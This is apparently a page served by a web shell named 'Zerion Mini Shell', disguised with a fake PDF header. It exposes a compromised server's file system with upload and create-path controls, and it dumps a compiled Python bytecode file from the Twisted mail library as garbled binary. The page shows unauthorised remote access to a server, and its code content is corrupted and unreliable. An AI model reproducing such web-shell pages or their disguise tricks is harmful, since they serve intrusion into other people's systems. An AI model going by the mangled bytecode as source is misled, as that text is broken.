%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/mail/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/mail/__pycache__/pb.cpython-312.pyc

�

Ϫ�fw���ddlZddlmZGd�dej�ZGd�dej�ZGd�dej�ZGd	�d
ej�Zy)�N)�pbc�j�eZdZd�Zd�Zd�Zd�ZeZd�ZeZ	d�Z
e
Zd�ZeZ
d�ZeZd	�ZeZd
�ZeZd�Zy)
�Maildirc�j�||_||_tjj	||�|_y�N)�virtualDirectory�
rootDirectory�os�path�join�	directory)�selfr
r	s   �1/usr/lib/python3/dist-packages/twisted/mail/pb.py�__init__zMaildir.__init__s(�� )���*��������m�Y�?���c���d|vrtd|z��ttjj	|j
d|��5}|j
�cddd�S#1swYyxYw)N�/z&can only open files in '%s' directory'�new)�OSError�openr
rrr
�read)r�folder�name�fps    r�getFolderMessagezMaildir.getFolderMessagesW���$�;��B�V�K�L�L�
�"�'�'�,�,�t�~�~�u�d�;�
<�	���7�7�9�	�	�	�s�A!�!A*c	��d|vrtd|z��tjtjj	|j
||�tjj	|jd||��y)Nrz(can only delete files in '%s' directory'z.Trash)rr
�renamerrr
r	)rrrs   r�deleteFolderMessagezMaildir.deleteFolderMessagesZ���$�;��D�v�M�N�N�
�	�	��G�G�L�L������6��G�G�L�L��+�+�X�v�t�D�	
rc�&�|jd|�S�Nr�r�rrs  r�deleteNewMessagezMaildir.deleteNewMessage����'�'��t�4�4rc�&�|jd|�S�N�curr!r"s  r�deleteCurMessagezMaildir.deleteCurMessage#r$rc�|�tjtjj|jd��Sr �r
�listdirrrr
�rs r�getNewMessageszMaildir.getNewMessages(�$���z�z�"�'�'�,�,�t�~�~�u�=�>�>rc�|�tjtjj|jd��Sr&r*r,s r�getCurMessageszMaildir.getCurMessages-r.rc�&�|jd|�Sr �rr"s  r�
getNewMessagezMaildir.getNewMessage2����$�$�U�D�1�1rc�&�|jd|�Sr&r2r"s  r�
getCurMessagezMaildir.getCurMessage7r4rc��|ddk(rtd��|jdd�}|jdk(rd|z}n|jdz|z}|j	|�std��t||j�S)Nr�.z&subfolder name cannot begin with a '.'r�:znot a subfolder)r�replace�virtualDirectoyr�_isSubFolderrr	r"s  r�getSubFolderzMaildir.getSubFolder<s�����7�c�>��B�C�C��|�|�C��%�����3�&���:�D��(�(�3�.��5�D�� � ��&��+�,�,��t�T�/�/�0�0rc�(�tjjtjj|j|��xsItjjtjj|j|d��S)N�
maildirfolder)r
r�isdirrr	�isfiler"s  rr<zMaildir._isSubFolderJse���7�7�=�=��G�G�L�L��+�+�T�2�
�
�Y�����������T�-?�-?��� W�X�
X�	YrN)�__name__�
__module__�__qualname__rrrr#�remote_deleteNewMessager(�remote_deleteCurMessager-�remote_getNewMessagesr0�remote_getCurMessagesr3�remote_getNewMessager6�remote_getCurMessager=�remote_getSubFolderr<�rrrr
ss��@�
�
�5�/��5�/��?�+��?�+��2�)��2�)��
1�'��Yrrc�&�eZdZd�Zd�ZeZd�ZeZy)�MaildirCollectionc��||_yr)�root)rrPs  rrzMaildirCollection.__init__Qs	����	rc�H�tj|j��Sr)r
r+�getRootr,s r�
getSubFolderszMaildirCollection.getSubFoldersTs���z�z�$�,�,�.�)�)rc��d|vs|ddk(rtd��tdtjj	|j�|��S)Nrrr8zinvalid name)rrr
rrrRr"s  rr=zMaildirCollection.getSubFolderYs@���$�;�$�q�'�S�.��.�)�)��s�B�G�G�L�L������>�?�?rN)rBrCrDrrS�remote_getSubFoldersr=rKrLrrrNrNPs"���*�)��@�
'�rrNc��eZdZd�Zd�Zy)�
MaildirBrokerc�r�|j�}|�|j|d�y|j||�y)Nzpermission denied)�_getCollection�	sendError�
sendAnswer)r�	requestIDr�domain�password�
collections      r�proto_getCollectionz!MaildirBroker.proto_getCollectionbs3���(�(�*�
����N�N�9�&9�:��O�O�I�z�2rc��||jvry|j|}||jvr-|j||k(rt|j|��Syyr)�domains�dbmrN�
userDirectory)rrr]r^s    r�
getCollectionzMaildirBroker.getCollectionisY������%�����f�%���6�:�:��&�*�*�T�"2�h�">�$�V�%9�%9�$�%?�@�@�#?�rN)rBrCrDr`rerLrrrWrWas
��3�ArrWc��eZdZd�Zy)�
MaildirClientc�p�|j�}||f|j|<|jd||||�y)Nre)�newRequestID�waitingForAnswers�sendCall)rrr]r^�callback�errbackr\s       rrezMaildirClient.getCollectionrs9���%�%�'�	�,4�g�,=����y�)��
�
�o�y�$���IrN)rBrCrDrerLrrrgrgqs��Jrrg)	r
�twisted.spreadr�
ReferenceablerrN�BrokerrWrgrLrr�<module>rqsZ��

��CY�b���CY�L'��(�(�'�"
A�B�I�I�
A� J�B�I�I�Jr

Zerion Mini Shell 1.0